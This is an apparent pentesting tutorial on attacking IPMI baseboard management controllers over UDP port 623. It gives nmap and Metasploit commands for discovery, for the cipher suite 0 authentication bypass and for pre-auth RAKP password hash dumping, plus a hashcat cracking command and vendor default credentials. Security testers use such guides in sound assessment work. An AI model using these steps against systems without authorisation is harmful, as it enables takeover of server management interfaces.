Pentesting IPMI Port 623 | Pentesting.Site

Pentesting IPMI

The Intelligent Platform Management Interface (IPMI) runs on UDP port 623 and provides out-of-band management of a server, power, sensors, remote console, virtual media, independent of the host OS or whether it's even powered on. It's implemented by baseboard management controllers such as Dell iDRAC, HP iLO and Supermicro's IPMI, and is frequently left reachable on the same network as the servers it manages.

From a pentesting perspective, IPMI 2.0 is notable for a widely-documented authentication bypass and a remotely retrievable password hash, both of which are still found in the wild years after being disclosed, making it a reliable, low-effort target whenever it turns up in a scan.

Discovery and Enumeration

IPMI runs over UDP, so make sure any scan explicitly checks it rather than relying on a default TCP-only sweep.

1
nmap -sU -sV -p 623 10.1.1.0/24                    # Scan a network range for IPMI
2
nmap -sU -sV -p 623 --script ipmi-version 10.1.1.1 # Confirm the IPMI version and vendor

Metasploit’s ipmi_version scanner covers the same ground and is convenient when already working from an msfconsole session:

1
use auxiliary/scanner/ipmi/ipmi_version
2
set RHOSTS 10.1.1.0/24
3
run

Cipher Suite 0 Authentication Bypass

Some IPMI 2.0 implementations still accept “cipher suite 0”, which disables authentication entirely while claiming a session was successfully authenticated. Where present, this allows a session to be established, and often commands issued, without any valid credentials at all.

1
use auxiliary/scanner/ipmi/ipmi_cipher_zero
2
set RHOSTS 10.1.1.0/24
3
run

IPMI 2.0 Password Hash Disclosure

IPMI 2.0’s RMCP+ authentication (RAKP) discloses a salted password hash for any requested username, before authentication actually succeeds. Since this happens pre-auth, the hash can be retrieved for any account, including admin, root and other common BMC defaults, without knowing its password first.

1
use auxiliary/scanner/ipmi/ipmi_dumphashes
2
set RHOSTS 10.1.1.0/24
3
set THREADS 256
4
run

The recovered hashes can then be cracked offline with hashcat:

1
hashcat -m 7300 --username -a 3 hashes.txt ?a?a?a?a?a?a?a?a   # RAKP HMAC-SHA1 mode, mask attack shown as an example

Default Credentials

Where the hash can’t be cracked, it’s always worth checking whether the BMC was ever moved off its factory default credentials, which vary by vendor:

1
Dell iDRAC       root:calvin
2
HP iLO           Administrator:<random 8-character string printed on a physical tag>
3
Supermicro IPMI  ADMIN:ADMIN

What Should We Look For?

Is the BMC reachable from the same network segment as regular server/user traffic, rather than an isolated out-of-band management VLAN?
Does the implementation still accept cipher suite 0, allowing session establishment without authentication?
Can a password hash be retrieved pre-auth via the RAKP disclosure, and does it crack against a standard wordlist or mask?
Are any BMC accounts still running with factory-default credentials?

Further detail: A Penetration Tester’s Guide to IPMI.

623 - IPMI